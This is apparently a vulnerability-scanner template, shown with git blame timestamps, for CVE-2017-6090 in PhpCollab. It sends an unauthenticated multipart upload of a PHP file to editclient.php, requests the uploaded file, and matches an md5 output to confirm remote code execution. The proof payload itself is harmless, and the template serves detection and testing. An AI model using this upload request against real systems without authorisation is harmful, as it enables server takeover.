2021-07-27 09:51:01 +00:00
|
|
|
id: CVE-2017-6090
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: PhpCollab (unauthenticated) Arbitrary File Upload
|
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2021-07-27 12:20:49 +00:00
|
|
|
tags: cve,cve2017,phpcollab,rce,fileupload
|
2021-07-27 09:51:01 +00:00
|
|
|
reference: https://nvd.nist.gov/vuln/detail/CVE-2017-6090
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- | # REQUEST 1
|
2021-07-27 12:10:51 +00:00
|
|
|
POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1
|
2021-07-27 09:51:01 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137
|
|
|
|
|
|
|
|
-----------------------------154934846911423734231554128137
|
2021-07-27 12:20:49 +00:00
|
|
|
Content-Disposition: form-data; name="upload"; filename="{{randstr}}.php"
|
2021-07-27 09:51:01 +00:00
|
|
|
Content-Type: application/x-php
|
|
|
|
|
2021-07-27 12:20:49 +00:00
|
|
|
<?php echo md5('phpcollab_rce');?>
|
2021-07-27 09:51:01 +00:00
|
|
|
|
|
|
|
-----------------------------154934846911423734231554128137--
|
|
|
|
|
|
|
|
- | # REQUEST 2
|
2021-07-27 12:26:56 +00:00
|
|
|
GET /logos_clients/1.php HTTP/1.1
|
2021-07-27 09:51:01 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
2021-07-27 12:20:49 +00:00
|
|
|
words:
|
|
|
|
- "48dbd2384cb6b996fa1e2855c7f0567f"
|
2021-07-27 09:51:01 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|